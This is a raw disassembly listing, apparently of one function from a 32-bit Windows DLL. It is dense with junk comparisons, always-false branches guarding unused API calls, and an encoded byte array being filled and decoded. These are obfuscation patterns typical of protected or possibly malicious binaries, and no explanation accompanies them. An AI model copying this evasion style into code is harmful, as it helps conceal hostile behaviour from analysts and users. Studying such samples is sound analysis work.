mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x508]
mov dword [ebp + eax*4 - 0x3a8], ecx
jmp 0x1001b543
cmp dword [0x10614b80], 0
jne 0x1001f358
mov dword [ebp - 0x30], 0xffffffff
mov dword [ebp - 0x360], 0xffffffff
mov dword [ebp - 0xbb0], 0x21a07835
mov dword [ebp - 0x30], 7
jmp 0x1001b62a
mov eax, dword [ebp - 0x30]
inc eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0x11
jg 0x1001b838
mov dword [ebp - 0x21c], 0x7a73d2d6
mov dword [ebp - 0x830], 0xffffffff
mov dword [ebp - 0x530], 1
mov dword [ebp - 0x528], 0xfffffff9
mov byte [ebp - 0xb2], 0
movzx eax, byte [ebp - 0xb2]
test eax, eax
je 0x1001b676
push 0
call dword [sym.imp.ADVAPI32.dll_GetLengthSid]
mov eax, dword [ebp - 0x30]
cmp eax, dword [ebp - 0x30]
jne 0x1001b68a
mov dword [ebp - 0x518], 1
jmp 0x1001b691
and dword [ebp - 0x518], 0
mov dword [ebp - 0x830], 0
mov eax, dword [ebp - 0x830]
cmp eax, dword [ebp - 0x30]
jle 0x1001b6b2
mov dword [ebp - 0xa9c], 1
jmp 0x1001b6b9
and dword [ebp - 0xa9c], 0
mov eax, dword [ebp - 0x21c]
mov dword [ebp - 0x102c], eax
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0xebc], eax
mov dword [ebp - 0x360], 0xb50f
mov eax, dword [ebp - 0x360]
cmp eax, dword [ebp - 0x30]
jl 0x1001b6ef
mov dword [ebp - 0x510], 1
jmp 0x1001b6f6
and dword [ebp - 0x510], 0
cmp dword [ebp - 0x510], 0xfffb
je 0x1001b70e
mov dword [ebp - 0x728], 1
jmp 0x1001b715
and dword [ebp - 0x728], 0
mov eax, dword [ebp - 0x21c]
cmp eax, dword [ebp - 0x728]
jle 0x1001b72f
mov dword [ebp - 0x90c], 1
jmp 0x1001b736
and dword [ebp - 0x90c], 0
mov eax, dword [ebp - 0x518]
cmp eax, dword [ebp - 0x90c]
jge 0x1001b750
mov dword [ebp - 0x520], 1
jmp 0x1001b757
and dword [ebp - 0x520], 0
mov eax, dword [ebp - 0x520]
mov dword [ebp - 0x530], eax
mov eax, dword [ebp - 0x360]
cmp eax, dword [ebp - 0x30]
je 0x1001b77a
mov dword [ebp - 0x730], 1
jmp 0x1001b781
and dword [ebp - 0x730], 0
mov eax, dword [ebp - 0x730]
mov dword [ebp - 0x528], eax
cmp dword [ebp - 0x528], 0x9facd4a7
jb 0x1001b7a5
mov dword [ebp - 0x838], 1
jmp 0x1001b7ac
and dword [ebp - 0x838], 0
mov eax, dword [ebp - 0x30]
cmp dword [ebp - 0x838], eax
jle 0x1001b7c3
mov dword [ebp - 0xba8], 1
jmp 0x1001b7ca
and dword [ebp - 0xba8], 0
mov eax, dword [ebp - 0x21c]
mov dword [ebp - 0xf84], eax
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0xec4], eax
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0xff4], eax
mov eax, dword [ebp - 0x530]
cmp eax, dword [ebp - 0x30]
jl 0x1001b7ff
mov dword [ebp - 0x738], 1
jmp 0x1001b806
and dword [ebp - 0x738], 0
mov eax, dword [ebp - 0x21c]
cmp dword [ebp - 0x738], eax
jg 0x1001b820
mov dword [ebp - 0x538], 1
jmp 0x1001b827
and dword [ebp - 0x538], 0
mov eax, dword [ebp - 0x538]
mov dword [ebp - 0xbb0], eax
jmp 0x1001b623
mov dword [ebp - 0xbb8], 0x294b
lea eax, [ebp - 0xbb8]
push eax
call fcn.10015048
pop ecx
mov dword [ebp - 0x4dc], eax
mov dword [ebp - 0x104], 0x137b1891
mov dword [ebp - 0x368], 0xfffffff8
mov dword [ebp - 0x8c], 0x900fdb69
mov dword [ebp - 0x14c], 0xcbe9
mov dword [ebp - 0x2ac], 0
jmp 0x1001b896
mov eax, dword [ebp - 0x2ac]
inc eax
mov dword [ebp - 0x2ac], eax
cmp dword [ebp - 0x2ac], 1
jge 0x1001b8b2
mov eax, dword [ebp - 0x2ac]
mov dword [ebp + eax*4 - 0x148], 0x1dfe4b28
jmp 0x1001b889
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x148], 0
jne 0x1001b98c
cmp dword [ebp - 0x14c], 0
je 0x1001b964
mov eax, dword [ebp - 0x368]
dec eax
jne 0x1001b8e9
xor eax, eax
jne 0x1001b8e9
and dword [ebp - 0x8bc], 0
jmp 0x1001b8f3
mov dword [ebp - 0x8bc], 1
mov eax, dword [ebp - 0x14c]
cmp dword [ebp - 0x8bc], eax
je 0x1001b90d
mov dword [ebp - 0x540], 1
jmp 0x1001b914
and dword [ebp - 0x540], 0
cmp dword [ebp - 0x540], 0x82e58099
je 0x1001b92c
mov dword [ebp - 0x3b4], 1
jmp 0x1001b933
and dword [ebp - 0x3b4], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x3b4]
mov dword [ebp + eax - 0x148], ecx
cmp dword [ebp - 0x3b4], 0
je 0x1001b964
cmp dword [ebp - 0x104], 0
je 0x1001b964
mov dword [ebp - 0xbb4], 1
jmp 0x1001b96b
and dword [ebp - 0xbb4], 0
mov eax, dword [ebp - 0x14c]
mov dword [ebp - 0xda4], eax
cmp dword [ebp - 0x104], 0x4566
jne 0x1001b98c
and dword [ebp - 0x740], 0
jmp 0x1001b996
mov dword [ebp - 0x740], 1
mov eax, dword [ebp - 0x8c]
mov dword [ebp - 0xb20], eax
mov eax, dword [ebp - 0x740]
mov dword [ebp - 0x9bc], eax
mov eax, dword [ebp - 0x8c]
dec eax
mov dword [ebp - 0x8c], eax
mov eax, dword [ebp - 0xb20]
cmp eax, dword [ebp - 0x9bc]
je 0x1001b9d5
mov dword [ebp - 0x548], 1
jmp 0x1001b9dc
and dword [ebp - 0x548], 0
mov eax, dword [ebp - 0x104]
cmp eax, dword [ebp - 0x548]
jle 0x1001b9f6
mov dword [ebp - 0x840], 1
jmp 0x1001b9fd
and dword [ebp - 0x840], 0
mov eax, dword [ebp - 0x368]
add eax, dword [ebp - 0x840]
cmp eax, dword [ebp - 0x14c]
jge 0x1001ba1d
mov dword [ebp - 0x550], 1
jmp 0x1001ba24
and dword [ebp - 0x550], 0
mov eax, dword [ebp - 0x550]
mov dword [ebp - 0x368], eax
mov dword [ebp - 0x8c], 1
jmp 0x1001ba49
mov eax, dword [ebp - 0x8c]
inc eax
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0x8c], 0x37
jle 0x1001bc48
mov dword [ebp - 0x9a8], 1
mov dword [ebp - 0xb98], 0x2870b1b
push 2
lea ecx, [ebp - 0xd20]
call fcn.1000bc61
mov dword [ebp - 4], 7
push 4
lea ecx, [ebp - 0xd38]
call fcn.1000bc61
mov byte [ebp - 4], 8
mov dword [ebp - 0x5c], 0
jmp 0x1001ba9f
mov eax, dword [ebp - 0x5c]
inc eax
mov dword [ebp - 0x5c], eax
cmp dword [ebp - 0x5c], 2
jge 0x1001bab8
push dword [ebp - 0x5c]
lea ecx, [ebp - 0xd20]
call fcn.1000bcff
and dword [eax], 0
jmp 0x1001ba98
mov dword [ebp - 0x5c], 0
jmp 0x1001bac8
mov eax, dword [ebp - 0x5c]
inc eax
mov dword [ebp - 0x5c], eax
cmp dword [ebp - 0x5c], 4
jge 0x1001bae4
push dword [ebp - 0x5c]
lea ecx, [ebp - 0xd38]
call fcn.1000bcff
mov dword [eax], 8
jmp 0x1001bac1
cmp dword [ebp - 0x9a8], 0
je 0x1001bba4
mov eax, dword [ebp - 0xb98]
mov dword [ebp - 0xda8], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x148], 0
jne 0x1001bb1d
push 0xfffffffffffffffd
pop eax
test eax, eax
jne 0x1001bb1d
and dword [ebp - 0x748], 0
jmp 0x1001bb27
mov dword [ebp - 0x748], 1
mov eax, dword [ebp - 0x14c]
imul eax, dword [ebp - 0x748]
cmp eax, dword [ebp - 0x104]
jne 0x1001bb48
mov dword [ebp - 0x9b0], 1
jmp 0x1001bb4f
and dword [ebp - 0x9b0], 0
mov eax, dword [ebp - 0x8c]
mov dword [ebp - 0xdb0], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x148]
dec eax
je 0x1001bb80
cmp dword [ebp - 0x104], 0
je 0x1001bb80
mov dword [ebp - 0x558], 1
jmp 0x1001bb87
and dword [ebp - 0x558], 0
mov eax, dword [ebp - 0x104]
imul eax, dword [ebp - 0x558]
test eax, eax
je 0x1001bba4
mov dword [ebp - 0x8ec], 1
jmp 0x1001bbab
and dword [ebp - 0x8ec], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x148]
cmp eax, dword [ebp - 0x8ec]
jge 0x1001bbcc
mov dword [ebp - 0x560], 1
jmp 0x1001bbd3
and dword [ebp - 0x560], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x148]
cmp eax, dword [ebp - 0x560]
jg 0x1001bbf4
mov dword [ebp - 0x3e4], 1
jmp 0x1001bbfb
and dword [ebp - 0x3e4], 0
push 0
lea ecx, [ebp - 0xd20]
call fcn.1000bcff
mov ecx, dword [ebp - 0x3e4]
mov dword [eax], ecx
push 0
lea ecx, [ebp - 0xd38]
call fcn.1000bcff
mov ecx, dword [ebp - 0x3e4]
mov dword [eax], ecx
mov byte [ebp - 4], 7
lea ecx, [ebp - 0xd38]
call fcn.1000bce3
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xd20]
call fcn.1000bce3
jmp 0x1001ba3c
mov dword [ebp - 0xd9c], 0x9ff60657
mov dword [ebp - 0xd98], 0x9ff60657
mov dword [ebp - 0xd94], 0x9ff60657
mov dword [ebp - 0xd90], 0x9ff60657
mov dword [ebp - 0xdb8], 1
mov dword [ebp - 0x224], 0
jmp 0x1001bc93
mov eax, dword [ebp - 0x224]
inc eax
mov dword [ebp - 0x224], eax
cmp dword [ebp - 0x224], 3
jge 0x1001bcaf
mov eax, dword [ebp - 0x224]
mov dword [ebp + eax*4 - 0xabc], 0x95364446
jmp 0x1001bc86
mov byte [ebp - 0xdf], 0
movzx eax, byte [ebp - 0xdf]
test eax, eax
je 0x1001bcd4
push 0
push 0
push 0x1d15
push 0
push 0
call dword [sym.imp.USER32.dll_DialogBoxParamA]
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0xabc], 3
jmp 0x1001bd02
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xabc]
dec eax
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0xabc], eax
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0xabc], 0
jl 0x1001be2c
mov dword [ebp - 0x22c], 5
mov dword [ebp - 0x2f4], 0
jmp 0x1001bd39
mov eax, dword [ebp - 0x2f4]
inc eax
mov dword [ebp - 0x2f4], eax
cmp dword [ebp - 0x2f4], 3
jge 0x1001bd55
mov eax, dword [ebp - 0x2f4]
mov dword [ebp + eax*4 - 0xc1c], 1
jmp 0x1001bd2c
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0xc1c], 0
jmp 0x1001bd83
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xc1c]
inc eax
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0xc1c], eax
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0xc1c], 3
jg 0x1001bdb1
mov byte [ebp - 0xb4], 0
movzx eax, byte [ebp - 0xb4]
test eax, eax
je 0x1001bdaf
push 0
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
jmp 0x1001bd68
mov dword [ebp - 0x22c], 0
jmp 0x1001bdca
mov eax, dword [ebp - 0x22c]
inc eax
mov dword [ebp - 0x22c], eax
cmp dword [ebp - 0x22c], 3
jg 0x1001be27
mov dword [ebp - 0x158], 0x8a11015a
mov dword [ebp - 0x158], 3
jmp 0x1001bdf6
mov eax, dword [ebp - 0x158]
dec eax
mov dword [ebp - 0x158], eax
cmp dword [ebp - 0x158], 0
jl 0x1001be25
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xabc]
cmp dword [ebp + eax*4 - 0xd9c], 0
je 0x1001be18
jmp 0x1001be25
cmp dword [ebp - 0x158], 0
je 0x1001be23
jmp 0x1001bde9
jmp 0x1001bde9
jmp 0x1001bdbd
jmp 0x1001bce7
mov dword [ebp - 0x2c], 0xffffffff
mov dword [ebp - 0x370], 0xffffffff
mov dword [ebp - 0xb2c], 0x21a07835
mov dword [ebp - 0x2c], 7
jmp 0x1001be57
mov eax, dword [ebp - 0x2c]
inc eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0x11
jg 0x1001c065
mov dword [ebp - 0x2b4], 0x7a73d2d6
mov dword [ebp - 0x750], 0xffffffff
mov dword [ebp - 0x588], 1
mov dword [ebp - 0x580], 0xfffffff9
mov byte [ebp - 0xc6], 0
movzx eax, byte [ebp - 0xc6]
test eax, eax
je 0x1001bea3
push 0
call dword [sym.imp.ADVAPI32.dll_GetLengthSid]
mov eax, dword [ebp - 0x2c]
cmp eax, dword [ebp - 0x2c]
jne 0x1001beb7
mov dword [ebp - 0x570], 1
jmp 0x1001bebe
and dword [ebp - 0x570], 0
mov dword [ebp - 0x750], 0
mov eax, dword [ebp - 0x750]
cmp eax, dword [ebp - 0x2c]
jle 0x1001bedf
mov dword [ebp - 0xba0], 1
jmp 0x1001bee6
and dword [ebp - 0xba0], 0
mov eax, dword [ebp - 0x2b4]
mov dword [ebp - 0xdc0], eax
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0xdc8], eax
mov dword [ebp - 0x370], 0xb50f
mov eax, dword [ebp - 0x370]
cmp eax, dword [ebp - 0x2c]
jl 0x1001bf1c
mov dword [ebp - 0x568], 1
jmp 0x1001bf23
and dword [ebp - 0x568], 0
cmp dword [ebp - 0x568], 0xfffb
je 0x1001bf3b
mov dword [ebp - 0x848], 1
jmp 0x1001bf42
and dword [ebp - 0x848], 0
mov eax, dword [ebp - 0x2b4]
cmp eax, dword [ebp - 0x848]
jle 0x1001bf5c
mov dword [ebp - 0x758], 1
jmp 0x1001bf63
and dword [ebp - 0x758], 0
mov eax, dword [ebp - 0x570]
cmp eax, dword [ebp - 0x758]
jge 0x1001bf7d
mov dword [ebp - 0x578], 1
jmp 0x1001bf84
and dword [ebp - 0x578], 0
mov eax, dword [ebp - 0x578]
mov dword [ebp - 0x588], eax
mov eax, dword [ebp - 0x370]
cmp eax, dword [ebp - 0x2c]
je 0x1001bfa7
mov dword [ebp - 0x8c4], 1
jmp 0x1001bfae
and dword [ebp - 0x8c4], 0
mov eax, dword [ebp - 0x8c4]
mov dword [ebp - 0x580], eax
cmp dword [ebp - 0x580], 0x9facd4a7
jb 0x1001bfd2
mov dword [ebp - 0x760], 1
jmp 0x1001bfd9
and dword [ebp - 0x760], 0
mov eax, dword [ebp - 0x2c]
cmp dword [ebp - 0x760], eax
jle 0x1001bff0
mov dword [ebp - 0x9b8], 1
jmp 0x1001bff7
and dword [ebp - 0x9b8], 0
mov eax, dword [ebp - 0x2b4]
mov dword [ebp - 0xdd0], eax
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0xdd8], eax
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0xde0], eax
mov eax, dword [ebp - 0x588]
cmp eax, dword [ebp - 0x2c]
jl 0x1001c02c
mov dword [ebp - 0x850], 1
jmp 0x1001c033
and dword [ebp - 0x850], 0
mov eax, dword [ebp - 0x2b4]
cmp dword [ebp - 0x850], eax
jg 0x1001c04d
mov dword [ebp - 0x590], 1
jmp 0x1001c054
and dword [ebp - 0x590], 0
mov eax, dword [ebp - 0x590]
mov dword [ebp - 0xb2c], eax
jmp 0x1001be50
mov byte [ebp - 0x1b4], 9
mov byte [ebp - 0x1b3], 0xdb
mov byte [ebp - 0x1b2], 7
mov byte [ebp - 0x1b1], 7
mov byte [ebp - 0x1b0], 1
mov byte [ebp - 0x1af], 0xc
mov byte [ebp - 0x1ae], 2
mov byte [ebp - 0x1ad], 0x11
mov byte [ebp - 0x1ac], 6
mov byte [ebp - 0x1ab], 7
mov byte [ebp - 0x1aa], 8
mov byte [ebp - 0x1a9], 0x1c
mov byte [ebp - 0x1a8], 3
mov byte [ebp - 0x1a7], 0x39
mov byte [ebp - 0x1a6], 0xa
mov byte [ebp - 0x1a5], 0x13
mov byte [ebp - 0x1a4], 0xc
mov byte [ebp - 0x1a3], 0x12
mov byte [ebp - 0x1a2], 4
mov byte [ebp - 0x1a1], 0x32
mov byte [ebp - 0x1a0], 4
mov byte [ebp - 0x19f], 0x54
mov byte [ebp - 0x19e], pe_nt_image_headers32
mov byte [ebp - 0x19d], 0x86
mov byte [ebp - 0x19c], 0xa7
mov byte [ebp - 0x19b], 5
mov byte [ebp - 0x19a], 0x17
mov byte [ebp - 0x199], 0xb
mov byte [ebp - 0x198], 0xa
mov byte [ebp - 0x197], 0
mov byte [ebp - 0x196], 0x3f
push 2
lea ecx, [ebp - 0xbf8]
call fcn.1000bc61
mov dword [ebp - 4], 9
mov dword [ebp - 0x9c0], 0xeb7161ab
mov dword [ebp - 0x7c], 0
jmp 0x1001c16c
mov eax, dword [ebp - 0x7c]
inc eax
mov dword [ebp - 0x7c], eax
cmp dword [ebp - 0x7c], 2
jge 0x1001c185
push dword [ebp - 0x7c]
lea ecx, [ebp - 0xbf8]
call fcn.1000bcff
or dword [eax], 0xffffffff
jmp 0x1001c165
mov dword [ebp - 0x7c], 0
jmp 0x1001c195
mov eax, dword [ebp - 0x7c]
inc eax
mov dword [ebp - 0x7c], eax
cmp dword [ebp - 0x7c], 3
jge 0x1001c1ab
mov eax, dword [ebp - 0x7c]
mov dword [ebp + eax*4 - 0x95c], 0x79763266
jmp 0x1001c18e
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x95c], 1
jmp 0x1001c1d9
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x95c]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x95c], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x95c], 0
jl 0x1001c239
push 4
pop eax
imul eax, eax, 0
push dword [ebp + eax - 0x95c]
lea ecx, [ebp - 0xbf8]
call fcn.1000bcff
mov dword [ebp - 0x768], eax
push 4
pop eax
imul eax, eax, 0
push dword [ebp + eax - 0x95c]
lea ecx, [ebp - 0xbf8]
call fcn.1000bcff
mov ecx, dword [ebp - 0x768]
mov eax, dword [eax]
mov dword [ecx], eax
mov eax, dword [ebp - 0x768]
mov eax, dword [eax]
mov dword [ebp - 0x9c0], eax
jmp 0x1001c1be
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xbf8]
call fcn.1000bce3
xor eax, eax
inc eax
shl eax, 0
movzx eax, byte [ebp + eax - 0x1b4]
and eax, 0xb5
xor ecx, ecx
inc ecx
shl ecx, 0
movzx ecx, byte [ebp + ecx - 0x1b4]
or ecx, 0xb5
sub ecx, eax
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x1b4]
mov byte [ebp + eax - 0x978], cl
mov dword [ebp - 0xb7c], 0xfffffffd
push 3
lea ecx, [ebp - 0xcb4]
call fcn.1000bc61
mov dword [ebp - 4], 0xa
mov dword [ebp - 0x234], 0
jmp 0x1001c2bd
mov eax, dword [ebp - 0x234]
inc eax
mov dword [ebp - 0x234], eax
cmp dword [ebp - 0x234], 3
jge 0x1001c2df
push dword [ebp - 0x234]
lea ecx, [ebp - 0xcb4]
call fcn.1000bcff
mov dword [eax], 0xce53d8da
jmp 0x1001c2b0
mov byte [ebp - 0xb6], 0
movzx eax, byte [ebp - 0xb6]
test eax, eax
je 0x1001c2f9
push 0
call dword [sym.imp.KERNEL32.dll_InitializeSListHead]
mov esi, dword [ebp - 0xb7c]
push 1
lea ecx, [ebp - 0xcb4]
call fcn.1000bcff
mov dword [eax], esi
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xcb4]
call fcn.1000bce3
mov dword [ebp - 0x20], 2
and dword [ebp - 0x180], 0
jmp 0x1001c335
mov eax, dword [ebp - 0x20]
inc eax
inc eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0x1f
jae 0x1001d019
mov dword [ebp - 0x3bc], 0xaed23b61
push 1
lea ecx, [ebp - 0x3e0]
call fcn.1000bc61
mov dword [ebp - 4], 0xb
mov dword [ebp - 0x334], 0
jmp 0x1001c376
mov eax, dword [ebp - 0x334]
inc eax
mov dword [ebp - 0x334], eax
cmp dword [ebp - 0x334], 1
jge 0x1001c398
push dword [ebp - 0x334]
lea ecx, [ebp - 0x3e0]
call fcn.1000bcff
mov dword [eax], 0xfffffffb
jmp 0x1001c369
mov byte [ebp - 0xf7], 0
movzx eax, byte [ebp - 0xf7]
test eax, eax
je 0x1001c3b5
push 0x88a
call dword [sym.imp.USER32.dll_HideCaret]
push 0
lea ecx, [ebp - 0x3e0]
call fcn.1000bcff
cmp dword [eax], 6
jb 0x1001c3d3
mov dword [ebp - 0x598], 1
jmp 0x1001c3da
and dword [ebp - 0x598], 0
push 0
lea ecx, [ebp - 0x3e0]
call fcn.1000bcff
mov ecx, dword [ebp - 0x598]
cmp ecx, dword [eax]
jg 0x1001c3fd
mov dword [ebp - 0x9c8], 1
jmp 0x1001c404
and dword [ebp - 0x9c8], 0
xor eax, eax
je 0x1001c423
push 0
lea ecx, [ebp - 0x3e0]
call fcn.1000bcff
cmp dword [eax], 0
jne 0x1001c423
and dword [ebp - 0x904], 0
jmp 0x1001c42d
mov dword [ebp - 0x904], 1
cmp dword [ebp - 0x904], 0x1d8f
jl 0x1001c445
mov dword [ebp - 0x5a0], 1
jmp 0x1001c44c
and dword [ebp - 0x5a0], 0
mov eax, dword [ebp - 0x5a0]
dec eax
cmp eax, 1
jl 0x1001c464
mov dword [ebp - 0x770], 1
jmp 0x1001c46b
and dword [ebp - 0x770], 0
mov dword [ebp - 0x3bc], 0
mov eax, dword [ebp - 0x3bc]
cmp eax, dword [ebp - 0x770]
je 0x1001c4a9
mov dword [ebp - 0xb34], 1
mov dword [ebp - 0x9d0], 0xd7770b16
imul eax, dword [ebp - 0xb34], 0xffffffff
mov dword [ebp - 0x9d0], eax
jmp 0x1001c616
mov dword [ebp - 0x378], 0xf6082f4e
mov eax, 0x29b85755
test eax, eax
je 0x1001c5fa
cmp dword [ebp - 0x378], 0
jne 0x1001c4e0
mov eax, dword [ebp - 0x378]
cmp eax, dword [ebp - 0x3bc]
jne 0x1001c4e0
and dword [ebp - 0x5a8], 0
jmp 0x1001c4ea
mov dword [ebp - 0x5a8], 1
cmp dword [ebp - 0x5a8], 0xffffffff
jle 0x1001c4ff
mov dword [ebp - 0x858], 1
jmp 0x1001c506
and dword [ebp - 0x858], 0
cmp dword [ebp - 0x858], 0
jge 0x1001c51b
mov dword [ebp - 0x5b0], 1
jmp 0x1001c522
and dword [ebp - 0x5b0], 0
push 0
lea ecx, [ebp - 0x3e0]
call fcn.1000bcff
mov ecx, dword [ebp - 0x5b0]
cmp ecx, dword [eax]
jl 0x1001c545
mov dword [ebp - 0x778], 1
jmp 0x1001c54c
and dword [ebp - 0x778], 0
push 0
lea ecx, [ebp - 0x3e0]
call fcn.1000bcff
mov ecx, dword [ebp - 0x778]
cmp ecx, dword [eax]
jne 0x1001c56f
mov dword [ebp - 0x5b8], 1
jmp 0x1001c576
and dword [ebp - 0x5b8], 0
push 0
lea ecx, [ebp - 0x3e0]
call fcn.1000bcff
mov ecx, dword [ebp - 0x5b8]
add ecx, dword [eax]
je 0x1001c5ab
push 0
lea ecx, [ebp - 0x3e0]
call fcn.1000bcff
cmp dword [eax], 0
je 0x1001c5ab
mov dword [ebp - 0x8cc], 1
jmp 0x1001c5b2
and dword [ebp - 0x8cc], 0
push 0
lea ecx, [ebp - 0x3e0]
call fcn.1000bcff
mov ecx, dword [ebp - 0x8cc]
cmp ecx, dword [eax]
jne 0x1001c5d5
mov dword [ebp - 0x5c0], 1
jmp 0x1001c5dc
and dword [ebp - 0x5c0], 0
imul eax, dword [ebp - 0x5c0], 0x221e
cmp eax, dword [ebp - 0x378]
jge 0x1001c5fa
mov dword [ebp - 0x780], 1
jmp 0x1001c601
and dword [ebp - 0x780], 0
push 0
lea ecx, [ebp - 0x3e0]
call fcn.1000bcff
mov ecx, dword [ebp - 0x780]
mov dword [eax], ecx
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x3e0]
call fcn.1000bce3
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x1b4]
lea eax, [eax + eax + 2]
cmp dword [ebp - 0x20], eax
jne 0x1001cd8f
mov eax, dword [ebp - 0x20]
movzx eax, byte [ebp + eax - 0x1b4]
inc eax
mov dword [ebp - 0x180], eax
mov dword [ebp - 0xc94], 5
mov dword [ebp - 0xc90], 5
mov dword [ebp - 0xc8c], 5
mov dword [ebp - 0xc88], 5
lea ecx, [ebp - 0x3b5]
call fcn.1000bd0e
push eax
lea eax, [ebp - 0xc84]
push eax
lea eax, [ebp - 0xc94]
push eax
lea ecx, [ebp - 0x1088]
call fcn.1000bd11
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x918]
call fcn.1000bcbd
mov dword [ebp - 4], 0xc
mov dword [ebp - 0x5e0], 0xc458a922
mov dword [ebp - 0x3f0], 0xcf8b874b
mov dword [ebp - 0x23c], 0
jmp 0x1001c6e3
mov eax, dword [ebp - 0x23c]
inc eax
mov dword [ebp - 0x23c], eax
cmp dword [ebp - 0x23c], 2
jge 0x1001c6ff
mov eax, dword [ebp - 0x23c]
mov dword [ebp + eax*4 - 0xeb0], 0xd6923607
jmp 0x1001c6d6
push 1
lea ecx, [ebp - 0x918]
call fcn.1000bcff
mov dword [eax], 0xf
jmp 0x1001c738
push 1
lea ecx, [ebp - 0x918]
call fcn.1000bcff
mov dword [ebp - 0x5c8], eax
mov eax, dword [ebp - 0x5c8]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0x5c8]
mov dword [ecx], eax
push 1
lea ecx, [ebp - 0x918]
call fcn.1000bcff
cmp dword [eax], 0xe
jge 0x1001ca57
push 2
lea ecx, [ebp - 0x968]
call fcn.1000bc61
mov byte [ebp - 4], 0xd
mov dword [ebp - 0x144], 0xf6dd8d13
mov dword [ebp - 0x9d8], 0x5b3d925d
mov dword [ebp - 0x64], 0
jmp 0x1001c783
mov eax, dword [ebp - 0x64]
inc eax
mov dword [ebp - 0x64], eax
cmp dword [ebp - 0x64], 2
jge 0x1001c79f
push dword [ebp - 0x64]
lea ecx, [ebp - 0x968]
call fcn.1000bcff
mov dword [eax], 0xe60b0cea
jmp 0x1001c77c
mov dword [ebp - 0x64], 0
jmp 0x1001c7af
mov eax, dword [ebp - 0x64]
inc eax
mov dword [ebp - 0x64], eax
cmp dword [ebp - 0x64], 3
jge 0x1001c7c5
mov eax, dword [ebp - 0x64]
mov dword [ebp + eax*4 - 0x1050], 0x54a20a29
jmp 0x1001c7a8
mov dword [ebp - 0x144], 1
jmp 0x1001c7de
mov eax, dword [ebp - 0x144]
dec eax
mov dword [ebp - 0x144], eax
cmp dword [ebp - 0x144], 0
jl 0x1001c864
mov dword [ebp - 0x2bc], 0
jmp 0x1001c800
mov eax, dword [ebp - 0x2bc]
inc eax
mov dword [ebp - 0x2bc], eax
cmp dword [ebp - 0x2bc], 1
jge 0x1001c81c
mov eax, dword [ebp - 0x2bc]
mov dword [ebp + eax*4 - 0x860], 0xffff
jmp 0x1001c7f3
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x860]
inc eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x860], eax
mov byte [ebp - 0xb8], 0
movzx eax, byte [ebp - 0xb8]
test eax, eax
je 0x1001c85f
push 0
push 0
push 0x12
push 0x1aa0
push 0x2478
call dword [sym.imp.USER32.dll_ScrollWindow]
jmp 0x1001c7d1
push 2
lea ecx, [ebp - 0x918]
call fcn.1000bcff
cmp dword [eax], 0
jne 0x1001c8d0
mov eax, dword [ebp - 0x144]
mov dword [ebp - 0xde8], eax
cmp dword [ebp - 0x144], 0
jne 0x1001c8a6
push 1
lea ecx, [ebp - 0x968]
call fcn.1000bcff
cmp dword [eax], 0
jne 0x1001c8a6
and dword [ebp - 0x5d0], 0
jmp 0x1001c8b0
mov dword [ebp - 0x5d0], 1
push 1
lea ecx, [ebp - 0x918]
call fcn.1000bcff
mov ecx, dword [ebp - 0x5d0]
cmp ecx, dword [eax]
jle 0x1001c8d0
and dword [ebp - 0x5d8], 0
jmp 0x1001c8da
mov dword [ebp - 0x5d8], 1
push 4
pop eax
imul eax, eax, 0
lea eax, [ebp + eax - 0x1050]
mov dword [ebp - 0x788], eax
push 1
lea ecx, [ebp - 0x918]
call fcn.1000bcff
mov ecx, dword [ebp - 0x788]
mov eax, dword [eax]
mov dword [ecx], eax
mov eax, dword [ebp - 0x788]
mov eax, dword [eax]
cmp eax, dword [ebp - 0x5d8]
jl 0x1001c920
mov dword [ebp - 0x8f4], 1
jmp 0x1001c927
and dword [ebp - 0x8f4], 0
mov eax, dword [ebp - 0x8f4]
mov dword [ebp - 0x5e0], eax
cmp dword [ebp - 0x5e0], 0
je 0x1001c95a
push 0
lea ecx, [ebp - 0x968]
call fcn.1000bcff
cmp dword [eax], 0
je 0x1001c95a
mov dword [ebp - 0x790], 1
jmp 0x1001c961
and dword [ebp - 0x790], 0
mov eax, dword [ebp - 0x790]
